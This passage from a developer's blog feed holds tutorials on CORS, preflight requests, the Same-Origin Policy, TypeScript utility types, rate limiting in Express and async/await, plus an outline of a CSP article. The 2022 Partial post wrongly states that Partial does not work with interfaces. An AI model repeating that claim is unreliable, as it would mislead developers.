    reportOnly: true, // Sets `Content-Security-Policy-Report-Only` instead of `Content-Security-Policy`
  })
);

What Are Preflight Requests and Why They Matter

Marouane Souda — Fri, 25 Jul 2025 02:26:43 +0000

If you've been reading about Cross-Origin Resource Sharing, or CORS in short, there is a good chance that you've come across this term: Preflight Request. It's an extra HTTP request that the browser makes before the actual, cross-origin request to make sure it's safe to send.

It's basically an HTTP OPTIONS request that is automatically sent by browsers before certain cross-origin requests. It checks with the web server, and only if the server responds with the right CORS permissions does the browser proceed with the real request, otherwise the browser blocks it.

This makes CORS secure: a browser checks both origin and intent before sending your actual data.

How do Preflight Requests work?

Let’s break it down with a real example:

A preflight request from the browser to the server

OPTIONS /resource HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization, Content-Type

As you can see, there are three essential headers that must be present in a preflight request:

Origin: is the domain that the request will originate from.
Access-Control-Request-Method: specifies the HTTP method of the subsequent request (POST in our case).
Access-Control-Request-Headers: lists the HTTP headers that will be used for the actual request.

A preflight response from the server to the browser

First, this all would be meaningless if the server is not configured to support cross-origin requests, because the Same-Origin Policy would be triggered and the intended request will be denied. So, the server must be configured with CORS.

Then, the server will send a response to the preflight request containing these headers:

Access-Control-Allow-Origin: lists the allowed origins. It can be a specific domain, or a wildcard *, which means all origins are allowed (not recommended).
Access-Control-Allow-Methods: specifies the HTTP methods that are permitted.
Access-Control-Allow-Headers: indicates the headers that can be used when making the intended request.

Here is a sample response to a preflight request:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: HEAD, GET, POST, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type

The browser sees the response, and since it checks out, it is successful, and the browser continues with the actual request. Otherwise it will block it and show an appropriate CORS error message.

When Do Preflight Requests Happen?

Preflight requests are not always needed. In fact, simple requests do not need a preflight request check.

By "simple requests", I mean requests with:

Allowed HTTP methods only: GET, HEAD, POST.
No custom headers, such as Authorization, X-Custom-Header, or Accept-Encoding. Only Accept, Accept-Language, Content-Language, and Content-Type (with the allowed values).
A Content-Type header value of text/plain, multipart/form-data, application/x-www-form-urlencoded.

Any violation of these conditions and the browser will consider the request as a "complex", thus triggering a preflight request. For example, using application/json as the value for the Content-Type header.

How Will the Browser Enforce CORS Policies For Simple Requests

Even though the browser sends the request, it still enforces CORS when it receives the response. So, if the response does not contain a valid Access-Control-Allow-Origin header, either because the server is not configured with CORS, or doesn't permit our origin from making the request, the browser will block JavaScript from accessing the response body.

How to Fix Preflight Issues

You can fix Preflight issues by setting up a OPTIONS handler. You can do this in two ways:

First method: ensure all your APIs respond to `OPTIONS` with the correct `Access-Control-Allow-*` header

Here is an example using Express.js.

app.options('/resource', (req, res) => {
  res.set({
    'Access-Control-Allow-Origin': 'https://app.example.com',
    'Access-Control-Allow-Methods': 'GET,POST,OPTIONS',
    'Access-Control-Allow-Headers': 'Content-Type,Authorization',
  });
  res.sendStatus(204);
});

Second method (preferred): use CORS middleware, and let the framework handle it

app.use(cors({
  origin: 'https://app.example.com',
  methods: ['GET','POST','OPTIONS'],
  allowedHeaders: ['Content-Type','Authorization'],
}));

More Tips

Include `Access-Control-Allow-Credentials` for Credentialed Requests

If your request uses credentials: 'include' to send cookies or authentication information, the server must respond with Access-Control-Allow-Credentials: true. Without it, the browser will block access to the response data, even if the request itself succeeds.

Also, the server cannot set wildcard * for Access-Control-Allow-Origin; it must specify the exact origin to avoid exposing sensitive data to unauthorized sites.

Cache the Preflight Request

Add a Access-Control-Max-Age header to cache the preflight request. That way, you won't have to send another preflight request.

This header takes a numeric value of seconds, and its default value is 5 seconds.

Preflight Requests As a Defense Mechanism Against Cross-Site Request Forgery

Preflight requests' job is to make sure a cross-origin request is permitted by the target server. If the server denies the request in the preflight response, the browser blocks the actual request from being sent. This can incidentally prevent certain CSRF attempts, but only for "complex" cross-origin requests that trigger a preflight.

However, attackers typically exploit "simple" POST requests, which do not trigger a preflight and can slip through if no proper CSRF defenses are in place. That’s why you should never rely on preflight behavior for CSRF protection by trying to make every request "complex". Instead, use proper anti-CSRF measures like SameSite cookies and anti-CSRF tokens.

A Complete Overview of Same-Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS)

Marouane Souda — Wed, 09 Jul 2025 12:38:55 +0000

If you've spent enough time developing web applications, you've certainly come across this error:

Access to fetch at 'https://api.example.com' from origin 'https://app.yoursaas.com' has been blocked by CORS

Sound familiar?

Most likely, you've encountered it when your backend and frontend are hosted on separate servers, and the frontend tries to communicate with the backend.

This error occurs because of a browser-enforced security mechanism called the Same-Origin Policy (SOP), which blocks JavaScript access to the response body of cross-origin HTTP requests by default.

To bypass that restriction, your server needs to explicitly allow such access by responding with the appropriate Cross-Origin Resource Sharing (CORS) headers.

Both SOP and CORS are designed to protect users by preventing unauthorized access to resources and sensitive data between different origins. As a developer, understanding how they work together is essential to building secure and reliable web applications. But first:

What Is an "Origin"?

An origin is defined by three things:

Protocol (http, https)
Domain name (example.com)
Port (:80, :443, etc.)

The combination of these three: protocol, domain, and port, defines an origin.

If any of those differ, the origin is not the same:

https://app.example.com  ≠  http://app.example.com
https://app.example.com  ≠  https://api.example.com
https://example.com:3000 ≠  https://example.com

So, now that we made it clear what an origin is, we can get to the meat of this post.

What Is the Same-Origin Policy (SOP)?

According to MDN:

Same-Origin Policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.

Source: MDN Web Docs, licensed under CC-BY-SA 2.5.

Same-Origin Policy is one of the cornerstones of web security. It protects your users by stopping potentially malicious websites from interacting with your site's data behind their backs.

In plain English: browsers allow web pages to send requests to different origins, but block JavaScript from accessing the response, unless the server explicitly allows it via Cross-Origin Resource Sharing.

Many developers mistakenly believe that the Same-Origin Policy blocks cross-origin requests. In truth, it doesn't prevent the requests themselves, they're still sent and can be seen as successful in the browser’s network tab. What SOP actually restricts is JavaScript’s ability to read the response content from those requests.

This brings up another common point of confusion when learning about SOP and CORS:

How Are We Able to Load Images and Access Links from Different Origins?

Some cross-origin requests are allowed by design. Here are the main exceptions:

<a href="https://example.com">: Linking to other sites is allowed.
<img src="https://cdn.example.com/logo.png">: Images can be loaded cross-origin.
<script src="https://unpkg.com/vue">: Scripts from CDNs are permitted (but restricted via CSP).
Form submissions (<form action="https://api.example.com">) are also allowed.

What all these have in common is that they don’t give JavaScript access to the response body, and that’s the key.

In contrast, when you use something like fetch() or XMLHttpRequest, you're trying to read the response data directly from another origin, and that’s where SOP draws the line.

So while some cross-origin requests are allowed for functionality or rendering, the browser keeps a strict boundary: if your JavaScript wants to interact with the response data, you’ll need permission. This is where CORS steps in.

Security Note

SOP doesn’t protect against Cross-Site Request Forgery for requests like form submissions. These are allowed cross-origin requests and don’t rely on JavaScript, so SOP and CORS don’t apply. CSRF works precisely because the browser automatically includes credentials like cookies on such requests. For "simple" requests (we'll get to that later) that do use JavaScript, SOP may block reading the response, but the server still processes the request unless proper CSRF defenses are in place.

So how do we get cross-origin data access when we actually need it?

Enter CORS: Cross-Origin Resource Sharing

So what happens if your frontend needs to talk to another origin, like an API hosted elsewhere?

That’s where CORS comes in.

Cross-Origin Resource Sharing is a security standard that tells browsers what cross-origin requests are allowed. Basically, it's an opt-in exception mechanism for SOP.

It’s implemented on the server-side, and it tells the browser which domains are allowed to access its resources.

This is how it works: the server responds along with specific CORS headers, and based on the values those headers hold, the browser decides whether to grant JavaScript access to the response body or block it.

The server doesn't block or permit anything, that's entirely up to the browser. The server can only influence the browser's decision by setting the right CORS header values.

A Simple CORS Example

Let’s say you’re trying to fetch user data from your API with a simple HTTP GET request:

fetch("https://backend.com/some-api")
.then(res => res.json())
.then(data => console.log(data));

When the browser detects that the request is going to a different origin, it sends it and waits for the server’s response. Then it checks whether the response from the server includes the Access-Control-Allow-Origin header. If the header is missing or doesn't allow the requesting origin, the browser blocks JavaScript from accessing the response.

Access-Control-Allow-Origin is a CORS header that specifies which remote origin is allowed to make requests to the server. Its value can be a wildcard *, which means all origins are allowed (not recommended for security purposes), or a specific domain. To support multiple domains, you'll need server-side logic to dynamically set the value for the header.

If Access-Control-Allow-Origin is absent, or its value does not match the origin that made the request, the browser will step in and JavaScript won't be able to read response data thanks to Same-Origin Policy.

Here is a sample of the response headers of our previous API request to fetch user data:

Access-Control-Allow-Origin: https://frontend.com

In our case, Access-Control-Allow-Origin header tells us that only the origin https://frontend.com is allowed to make a cross-origin request to the server, which is the origin of our frontend, so we can safely get access to the response, and no errors are raised.

About "Simple Requests" and "Complex Requests"

Before we move on, there's one key nuance to understand: browsers classify HTTP requests as either "simple" or "complex".

For a request to be considered "simple", it has to meet the following criteria:

Only GET, HEAD, or POST method.
No custom headers, such as Authorization, X-Custom-Header, or Accept-Encoding. Only Accept, Accept-Language, Content-Language, and Content-Type (with the allowed values, see next criteria).
A Content-Type header value of text/plain, multipart/form-data, application/x-www-form-urlencoded.

If the request doesn't meet any of the above conditions, the browser will consider it "complex". For example, an HTTP PUT request, or a POST request with a Content-Type: application/json header.

In the previous example, the request is a GET with no custom headers, and no Content-Type, so it qualifies as a simple request.

Why Do We Need This Distinction?

For simple requests, the browser only looks for the Access-Control-Allow-Origin header in the server’s response. If it's present and valid, the browser grants JavaScript access to the response body. That’s exactly what happens in our earlier example.

Complex requests, however, require more scrutiny. The browser expects additional CORS headers, and before it even sends the actual request, it first issues an automatic preflight request, a separate OPTIONS request, to check if the real request is allowed. Only if the server responds correctly to the preflight will the browser proceed with the actual request.

So far, we only talked about "simple" requests, but for complex requests, a preflight request is necessary before anything else happens.

So far, we've only been dealing with simple requests. But when it comes to complex requests, things change; the browser must first send a preflight request to verify that the server permits the intended action before the actual request is sent.

What Does a Preflight Request Look Like?

Like this:

OPTIONS /user HTTP/1.1
Origin: https://frontend.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

These two headers, Access-Control-Request-Method, and Access-Control-Request-Headers, play a key role in informing the server of what to expect. I explain both in detail in my other post about preflight requests.

Then the server must respond with headers that explicitly allow the request:

Access-Control-Allow-Origin: https://frontend.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Authorization

Only then does the browser proceed with the actual request.

If the server provides a valid response, the browser proceeds with the actual request. However, if any of these headers are missing or incorrect, the browser will block the request before it even happens.

Even after a successful preflight, the actual response must include the appropriate CORS headers, otherwise, the Same-Origin Policy kicks in again and prevents JavaScript from accessing the response body.

Two Key Takeaways

Preflight requests are part of CORS, not SOP. If the server doesn’t respond correctly to a preflight OPTIONS request, the actual request never gets sent. There's no role for SOP at this point; since there's no response, the browser doesn’t need to block access to anything.
For complex requests, the server must respond with additional headers, not just Access-Control-Allow-Origin. These include Access-Control-Allow-Methods, Access-Control-Allow-Headers. I already explained them in great detail in my other post about preflight requests, which I highly recommend you take a look at.

Why This Matters

This extra preflight step adds security and transparency.

Servers can control who is allowed to access them.
They can limit what methods and headers are accepted.
They can block certain apps entirely by omitting CORS headers.

For example, if someone tries to call your API from a different app you don’t trust, the request will be blocked entirely. This is possible because the browser automatically includes an Origin header in cross-origin requests, letting the server know where the request came from. Based on that origin, the server can decide whether to respond with the necessary CORS headers or not.

What's the Point of Preflight Requests if SOP Already Exists?

Simply put, because SOP alone is not enough.

SOP doesn't stop the request from taking place, it only blocks JavaScript from reading the response if it's cross-origin without proper CORS headers.

But preflight requests happen before the real request is sent if the browser deems it potentially "unsafe or complex", like if the request is using custom headers, methods like PUT or DELETE. They are basically the browser asking the server for permission to send the actual request.

SOP and preflight requests offer different layers of protection. Let me illustrate that with an example:

Imagine this scenario:

fetch('https://backend.com/delete-account', {
  method: 'DELETE',
});

Without CORS preflight, the browser could send the actual DELETE request, and even though JavaScript couldn't read the response due to SOP, the damage is already done, the account is deleted.

SOP only protects the response, not the *request*.

3 Important Things to Keep in Mind

1. Don’t Use `*` in Production

Using Access-Control-Allow-Origin: * allows any site to access your API. It's okay for public, read-only APIs, but bad for authenticated or sensitive routes.

Be specific in production to avoid security risks.

2. Add `Access-Control-Allow-Credentials: true` With `credentials: 'include'`

If you're going to send cookies along with the request like this:

fetch("https://backend.com/post-api", {
  credentials: "include"
})

Then your backend must include Access-Control-Allow-Credentials: true in its response. Otherwise, the browser will block the response, even if the origin is allowed.

Also, you must be specific when declaring the allowed origin in Access-Control-Allow-Origin, which means * is no longer accepted as a value. The browser will only accept a response with a Access-Control-Allow-Origin set to one specific origin if the request is sent with credentials.

3. SOP and CORS Only Protect the Browser

Same-Origin Policy and CORS are browser-enforced security mechanisms. They do not protect your server from malicious requests made by tools like curl, Postman, or custom scripts.

To fully secure your APIs, you need server-side protections like:

Authentication & authorization checks.
API key validation.
Throttling & rate limiting.
Input validation & sanitization.

Common CORS Errors (and What They Mean)

I believe that after reading so far, you can guess the meaning of any CORS error just by reading the error message. Let's walk through some of the most common ones:

Reason: CORS header 'Access-Control-Allow-Origin' missing

It means that the Access-Control-Allow-Origin header is completely absent in the response. The server did not include it at all. You need to configure your server to include the header in its responses.

Reason: CORS header 'Access-Control-Allow-Origin' does not match 'https://frontend.com'

The origin "https://frontend.com" is not permitted to make cross-origin requests to the server. To fix this, make "https://frontend.com" the value for Access-Control-Allow-Origin header in the server.

Reason: Credential is not supported if the CORS header 'Access-Control-Allow-Origin' is '*'

You attempted to make a request with credentials (cookies, HTTP authentication headers), but Access-Control-Allow-Origin is set to *, which prohibits using credentials. To fix this, either omit credentials: "include" if you're working with fetch(), or configure a specific origin as the value of Access-Control-Allow-Origin.

Reason: Did not find method in CORS header 'Access-Control-Allow-Methods'

You sent a cross-origin request with a method that is not supported by the server. For example, you made a DELETE request, but the response returned included Access-Control-Allow-Methods: GET, POST, HEAD, PATCH. As you can see, DELETE is not one of the methods permitted in cross-origin requests.

Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed

This happens when the server responds with more than one Access-Control-Allow-Origin header or a single header with a comma-separated list of origins, which browsers do not accept. You must return only one origin as the value, or use the wildcard * to allow all origins (to be avoided in production).

To set multiple values, you need to do it dynamically. Create an array of allowed origins, and check the Origin header of the request. If it's one of the allowed origins, set it as the value of Access-Control-Allow-Origin.

How to Fix CORS (in express.js)

You fix CORS on the server, not the frontend.

I recommend using cors library to handle Cross-Origin Resource Sharing. First, you need to install via NPM, or your preferred package manager:

npm install cors

And now you can use it as a middleware in your code:

const cors = require("cors");
app.use(cors({ origin: "https://frontend.com" }));

cors library already handles OPTIONS requests out of the box.

Other configuration options for the cors middleware include:

methods: sets the Access-Control-Allow-Methods header. It accepts either a comma-delimited string "GET,PUT,POST", or an array like ["GET", "PUT", "POST"].
credentials: sets the Access-Control-Allow-Credentials header. If set to true, the header will be passed, otherwise it'll be omitted.
allowedHeaders: sets the Access-Control-Allow-Headers header. It accepts either a comma-delimited string "Content-Type,Authorization", or an array like ["Content-Type", "Authorization"].

Brief Summary On How Browsers Handle Cross-Origin Requests

For Simple Requests: if the request uses GET, POST, or HEAD, with no custom headers and a safe Content-Type, the browser sends the request immediately. It then checks the response for a valid Access-Control-Allow-Origin header. If present and correct, JavaScript is granted access to the response. No preflight needed.

For Complex Requests: if the request includes custom headers (like Authorization), uses methods like PUT or DELETE, or has a non-standard Content-Type, the browser sends a preflight OPTIONS request first. This request includes Access-Control-Request-Method and Access-Control-Request-Headers headers (both explained in this article about preflight requests). If the server responds with the correct Access-Control-Allow-* headers, the browser proceeds with the actual request. Otherwise, it blocks it.

How to Avoid Triggering Preflight Requests

Marouane Souda — Mon, 30 Jun 2025 13:29:01 +0000

If you’ve ever tried to connect your frontend app to a backend API and saw a mysterious OPTIONS request fire off before your real request, you’ve encountered a preflight request.

These are a part of the Cross-Origin Resource Sharing mechanism enforced by browsers to maintain web security. They are HTTP OPTIONS requests sent by the browser before certain requests (I’ll get to which ones in a second) to check with the server if it's ok to send them.

Most of cross-origin requests will go just fine and won't require a preflight request beforehand. But for some, the browser insists on sending a preflight to ensure the actual request is safe and won’t cause issues. So...

When Do Preflight Requests Happen?

Before I answer that, let's cover one key concept: simple requests vs complex requests.

The browser classifies HTTP cross-origin requests into these two categories. If a request is simple, the browser skips the preflight. That’s the heart of this entire post.

So, if you want to avoid preflight requests, just make sure your request looks “simple” to the browser. That it:

It uses one of these HTTP methods: GET, HEAD, or POST.
It only includes "safe" headers, such as: Accept, Accept-Language, Content-Language, or Content-Type.
Content-Type header value must be either text/plain, multipart/form-data, or application/x-www-form-urlencoded.

So, if you send a PUT, PATCH, or DELETE request, that’s complex and will trigger a preflight. Same goes for custom headers like Authorization, X-Custom-Header, or even Accept-Encoding. Also, using Content-Type: application/json? Yep, that’ll trigger one too.

The Main Topic: How to Avoid Sending Preflight Requests

I mean, other than sticking to same-origin requests (which avoid CORS entirely), just stick to simple request, really. Avoid custom headers, and stick to the usual text/plain, multipart/form-data, or application/x-www-form-urlencoded values of Content-Type header.

Other than at, if you can’t avoid a preflight (and sometimes you just can’t), you can reduce how often it happens. On your server, set the Access-Control-Max-Age header. This tells the browser to cache the preflight response for a set period of time so it won’t have to send it again for every single request.

If you find this post helpful, don't forget to drop a like or a comment, and share it. It helps me tremendously.

5 TypeScript Features You’re Probably Not Using (But Should Be)

Marouane Souda — Sun, 22 Jun 2025 16:51:40 +0000

TypeScript is an incredibly powerful language, but many developers are not taking advantage of its many rich features. I know because I used to be the same.

If you're only working with interface, type, and basic unions, you're missing out on options that can make your code cleaner, safer, and more maintainable.

Here are five underused TypeScript features that you need to be aware of. They'll make TypeScript development much more enjoyable once you learn them.

1. Discriminated Unions

This is my personal favourite feature of TypeScript. Discriminated unions are perfect for creating different states of a type with total type safety.

You define each object variant with a unique discriminant field (string literal), and TypeScript can then narrow the type for you in a switch or if-else block.

type Loading = { state: "loading" };
type Success = { state: "success"; data: string };
type Error = { state: "error"; message: string };

type FetchResult = Loading | Success | Error;

function handle(result: FetchResult) {
  switch (result.state) {
    case "loading":
      console.log("Loading...");
      break;
    case "success":
      console.log("Data:", result.data); // TypeScript knows `result.data` exists here
      break;
    case "error":
      console.error("Error:", result.message); // TypeScript knows `result.message` exists here
      break;
  }
}

This lets you avoid if (x in obj) hacks or unsafe any types. Each case knows exactly what shape it's dealing with.

2. Template Literal Types

TypeScript lets you create literal string types dynamically using templates — just like template strings in JavaScript, but at the type level.

This is super useful for things like keys, paths, or enums.

type Lang = "en" | "es";
type Page = "home" | "about";

type Route = `${Lang}/${Page}`;
// Result: "en/home" | "en/about" | "es/home" | "es/about"

Now you can enforce valid combinations and get autocompletion, even for strings.

3. `as const` for Literal Inference

By default, TypeScript widens object property types to general types like string or number.

const status = {
  state: "success",
  code: 200,
};

type StatusType = typeof status;
// { state: string; code: number }

Using as const keeps the literals precise and makes the object readonly:

const status = {
  state: "success",
  code: 200,
} as const;

type StatusType = typeof status;
// { readonly state: "success"; readonly code: 200 }

This helps when you want exact types and avoid accidental mutation.

4. Indexed Access Types

Ever wish you could reuse a part of another type without retyping it manually?

That’s what indexed access types do.

type User = {
  id: number;
  profile: {
    name: string;
    age: number;
  };
};

type UserName = User["profile"]["name"]; // string

This lets you pull out nested types from your existing structures. It’s safer than duplicating and makes refactoring much easier. You can combine this with generics for some powerful abstractions.

5. Key Remapping in Mapped Types

Want to dynamically rename keys or create variations of an existing type? You can use key remapping in mapped types.

type Original = {
  name: string;
  version: number;
};

type Prefixed<T> = {
  [K in keyof T as `app_${string & K}`]: T[K];
};

type PrefixedKeys = Prefixed<Original>;
// Result: { app_name: string; app_version: number }

This is super helpful when you:

Work with APIs where keys need prefixes/suffixes
Want to transform types programmatically
Need to namespace keys in shared types

Rate Limiting & Throttling: Why Your API Desperately Needs Them

Marouane Souda — Tue, 27 May 2025 13:38:48 +0000

Imagine this: You’ve spent hours building your shiny new API. You test it. It works. You deploy it. People start using it — awesome! But then suddenly… 🚨 boom! Your API slows down, crashes, or worse: you get slapped with a massive bill from your cloud provider.

Yep — one script, one bot, or even one poorly-written frontend can trigger thousands of requests... and you pay for all of them.

This is where two behind-the-scenes heroes step in: Rate Limiting and Throttling. They’re like the gatekeepers of your API — keeping things fast, fair, and affordable.

Let’s talk about what they are, how they’re different, why you really need both, and how you can add them without stress.

What Is Rate Limiting?

Rate limiting is your API's way of saying:

"You can only ask me X times every Y seconds."

It sets a hard rule for how many requests someone can make in a given window of time. Once they hit that limit — boom — no more requests until the timer resets.

Example:

“Each user can only make 100 requests per minute.”

If they try the 101st request?
Your API responds with a friendly:

429 Too Many Requests – please try again later.

✅ Key idea: It’s a cap — when you hit it, you’re done.

What About Throttling?

Throttling, on the other hand, is more about managing the flow of traffic, even if users are technically under the rate limit.

Think of it like this:

“Whoa there! You’re sending a lot of requests really fast. Let’s slow things down so my servers don’t get overwhelmed.”

Rather than outright blocking the request, throttling might:

Introduce a short delay
Queue the request
Or allow it, but slower

✅ Key idea: It’s about pacing — not blocking.

Why You (Seriously) Need This

1. To Stop Abuse

If your API is public or even semi-public, someone will try to spam it — bots scraping data, poorly coded apps hammering endpoints, or bad actors trying to overload it.

Rate limiting gives you control. Without it, you're asking for trouble.

2. To Keep Things Fair

Without limits, one greedy client could hog all your server resources while others get left hanging. This makes your app feel slow or unresponsive — and nobody sticks around for that.

3. To Protect Your Server

Each API request uses CPU, memory, or database access. Multiply that by thousands and your server could start crawling... or crash entirely. Rate limiting keeps things sustainable, especially under load.

4. To Avoid Surprise Cloud Bills

Here’s the part most developers don’t think about: cloud costs.

If you're using something like AWS Lambda, Firebase, Vercel Functions, or any usage-based cloud service — you’re paying for every request.

Without rate limiting, a buggy app or attack could trigger millions of requests in a day. Your API doesn’t just slow down — you could wake up to a \$500+ bill.

Real example: A dev once left a test script running in production that looped an API call. Overnight it generated 1.2 million requests.
Guess what? The cloud bill came with it.

Rate limiting acts like a cost firewall. It prevents surprise bills by blocking traffic before it becomes expensive.

How to Set It Up (In Node.js)

If you’re building with Express, you can set this up in just a couple of steps using express-rate-limit:

1. Install the package

npm install express-rate-limit

2. Create a simple limiter

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 1 * 60 * 1000, // 1 minute
  max: 100, // Limit each IP to 100 requests per minute
  message: "Slow down! You're making too many requests. Try again in a bit.",
});

3. Plug it into your app

const express = require('express');
const app = express();

app.use(limiter);

app.get('/', (req, res) => {
  res.send('Hello from your rate-limited API!');
});

app.listen(3000, () => console.log('Server running on port 3000'));

That’s it — you’ve now got basic protection in place.

Some Real-World Examples

GitHub API: 60 requests/hour for anonymous users; 5,000/hour when authenticated.
Stripe: Limits based on API category (e.g. payments vs. billing).
Twitter/X: Strict tiered limits depending on user level.
OpenAI API: Model-based request caps and usage tiers.

If the big guys do it, you probably should too.

Helpful Tips

Use a shared store like Redis if your API runs on multiple servers (to track limits across all instances).
Return user-friendly messages when users hit their limit.
Use headers like X-RateLimit-Remaining to let users monitor their usage.
Make limits configurable — free users get less, premium users get more.

Final Thoughts

Rate limiting and throttling aren’t just about keeping your API alive — they’re about:

Giving everyone a fair experience
Avoiding outages and abuse
And yes, saving your wallet from surprise cloud bills

If you’re building an API — even just for a hobby project — think of these features as the seatbelt your backend deserves. Easy to forget, but absolutely essential when things go wrong.

Original post: https://marouanesouda.com/blog/rate-limiting-and-throttling-why-your-api-desperately-needs-them

Connect with me on:

The Partial utility type in TypeScript

Marouane Souda — Fri, 04 Mar 2022 16:25:15 +0000

Hello everyone!

Today I'll tell about a cool feature of TypeScript, which is the Partial utility type.

This utility type works on types (per definition, and as such won't work with interfaces, a mistake I personally made), and makes all of its properties optional.

Lets take this code for example:

Here, we have a Person type, with some predefined properties with different types.

Now we want to create a new type with the same properties and their types, but they should all be optional.

We could insert the interrogation mark followed by a colon ?: at each property, and indeed, that'll do the job, but as obvious, it is not the most efficient solution, not to mention that if we have an huge type, it can take some much valuable time that is better spent doing more productive tasks.

So what is the solution? The Partial utility type.

This is how its done using the aforementioned utility type.

As you can see, its usage is really simple and straightforward. It accept a single generic (think of it as a TypeScript's parameter, but for types, instead for functions), which is the Type we want its properties to become optional.

Now, we hover over the new PartialPerson type, we can see that all of the properties are now optional, and we didn't even have to know all of them beforehand.

Its definition per TypeScript is as follows:

They basically looped through all of the properties passed through the generic, and making each property optional with its type definition.

The main usage of it is the updating/editing tasks, when you want to edit an object through a function, but you only want to pass the object properties you intend to edit, and not all of them.

This feature is available in TypeScript since version 2.1

Bonus: You can use the Required utility type to make all properties of a type required, and if some or all of its properties are optional, they become required. This is the opposite of Partial, where all properties become optional.

Thank you for reading, and I hope that was beneficial to you!

Connect with me on:

TypeScript: my opinion

Marouane Souda — Sun, 17 Oct 2021 13:06:19 +0000

TypeScript is the new hot trend of this year 2021, and is expected to grow even more during the next few years, along with some other technologies such as NextJS, GraphQL and others, and for good reasons too. The type safety that it offers, the IntelliSense, as well as some traditional object-oriented-programming concepts such as Interfaces, and access modifiers, has upped the game for JavaScript developers big time, and made JavaScript all the more robust and safe, while adhering to the same rules that governs it (ie: any valid TypeScript code, is a valid JavaScript code).

With that in mind, I have finally made the switch about 7 months ago. This switch has started a journey full of ups and downs, and frustrations at the beginning. But the end result was so worth it, and I can safely say now that I have no intentions to return to regular JavaScript ever again.

What to expect?

The first few weeks, TypeScript coding felt like walking in a minefield. I had to watch out for every variable I write, and its type, lest I get bombed with humongous lines describing an error somewhere. And they are everywhere.

Before, when working with React, all I had to do was to install some dependencies, and get get going. But now, I need type definition for each one, that is, if they are not made separately in a different NPM package all together.

I also got frustrated every time I had to bypass an error that I wouldn't have got if I used JavaScript instead (if I had a coin each time I said to myself "let me just switch back JavaScript, it'll make this smooth again", I'd have a lot of coins).

But I know I had to persist, because I knew what benefits I'll gain in the end. And I did, both persisted and gained advantages. The errors don't appear that much anymore, and if they do, they are predictable, and significantly easier to deal with than before.

I now write safe, consistent code, and I get warned beforehand, at compile time, of errors, instead on seeing them on the app screen on the browsers, or the console. So peace of mind it is.

In conclusion, I do recommend trying TypeScript at least, because it's worth the relative troubles, and it'll make your coding experience far more enjoyable in the long run.

Connect with me on:

Convert A Promise To ASYNC/AWAIT

Marouane Souda — Fri, 19 Feb 2021 19:18:08 +0000

Hello everyone!

This is my very first post, so I hope it'll be as helpful as I want it to be.

How to convert a promise-based asynchronous code to async/await format, thus making it more readable?

As we all know, Promises were an improvement over callbacks after they were included in JavaScript as part of the ECMAScript 6 specification. But they do tend to get messy in their own way. Maybe not as hellish as callbacks (callbacks pyramid of doom anyone?), but enough to warrant an upgrade to a more readable syntax.

And this is where async/await comes in.

Convert a simple Promise.

First, let's start with a simple Promise:

This is a simple function that returns a promise. The promise resolves to a value of type string, and of value "resolved" after 5000 milliseconds, or 5 seconds.

We are calling the function, and after returning the promise, the then method will be called after 5 seconds, and "resolved" gets logged to the console.

The whole code looks like this

What we want to do is turn it into an async/await code.

First, let's put the whole thing inside of a function. This is important, because await only works inside a function preceded by an async keyword. We will add it later.

Here we created a new function, inside of which the promise is stored in a variable v. If we try and log v to the console, we can see that it is a promise object.

The important thing we should note is that await is the main keyword here, async is just a wrapper, but without it, await won't work.

So we will add it

The function usually returns an undefined value if no return statement was specified. but with async, it returns a promise, but that's an entire point on its own, and beyond the scope of this post.

After adding the async keyword, nothing should really change. v is still a promise, but what if we add await before calling myPromise?

As we can see, if we wait 5 seconds, "resolved" is logged, and v is a string, not a promise object. So, await resolves the promise, and we get the value directly. And our code is much cleaner.

The true benefit of async/await manifests itself when you try to chain multiple then statements with each other, which looks clumsy. With await, it'll be way easier to read and debug.

I hope this post has helped you if you want to understand async/await to learn async/await. They are actually very easy once you know how to use them.

If you have any comments, notes, or constructive criticism, please add them below, and thanks for reading.

Connect with me on:

DEV Community: Marouane Souda

Content Security Policy (CSP) And How to Configure it Against XSS in Node.js

What is Content Security Policy?

Content Security Policy And Same-Origin Policy

How Does Content Security Policy Work?

Content Security Policy Header Anatomy

script-src in Detail

Specific URLs (https://cdn.example.com)

About subdomains

'nonce-<random>'

What’s a Nonce?

Why This Protects You

'sha256-<hash>'

'unsafe-inline'

'unsafe-hashes'

'strict-dynamic'

Other Common CSP directives

style-src

CSS And XSS

Recommendations

img-src

Images And XSS

Recommendations

font-src

Recommendations

connect-src

Recommendations

frame-src

Recommendations

frame-ancestors

Recommendations

base-uri

report-uri

report-to

Using Report-To (Legacy)

Using Reporting-Endpoints (Modern)

Example JSON Report Payload

Differences between report-to and report-uri

Key Takeaways

Recommended CSP Configuration

Why You Should Set CSP As A Header And Not As A Meta Tag

1. Headers are enforced earlier

2. Meta tags can’t enforce powerful directives

3. Meta tags are more vulnerable to injection

Deploying CSP in Report-Only Mode

Set Up Content Security Policy in Node.js (Express.js)

Manually

With helmet

1. Clear and Readable Syntax

2. Validation and Error Prevention

3. Secure Defaults Out of the Box

What Are Preflight Requests and Why They Matter

How do Preflight Requests work?

A preflight request from the browser to the server

A preflight response from the server to the browser

When Do Preflight Requests Happen?

How Will the Browser Enforce CORS Policies For Simple Requests

How to Fix Preflight Issues

First method: ensure all your APIs respond to OPTIONS with the correct Access-Control-Allow-* header

Second method (preferred): use CORS middleware, and let the framework handle it

More Tips

Include Access-Control-Allow-Credentials for Credentialed Requests

Cache the Preflight Request

Preflight Requests As a Defense Mechanism Against Cross-Site Request Forgery

A Complete Overview of Same-Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS)

What Is an "Origin"?

What Is the Same-Origin Policy (SOP)?

How Are We Able to Load Images and Access Links from Different Origins?

Security Note

Enter CORS: Cross-Origin Resource Sharing

A Simple CORS Example

About "Simple Requests" and "Complex Requests"

Why Do We Need This Distinction?

What Does a Preflight Request Look Like?

Two Key Takeaways

Why This Matters

What's the Point of Preflight Requests if SOP Already Exists?

3 Important Things to Keep in Mind

1. Don’t Use * in Production

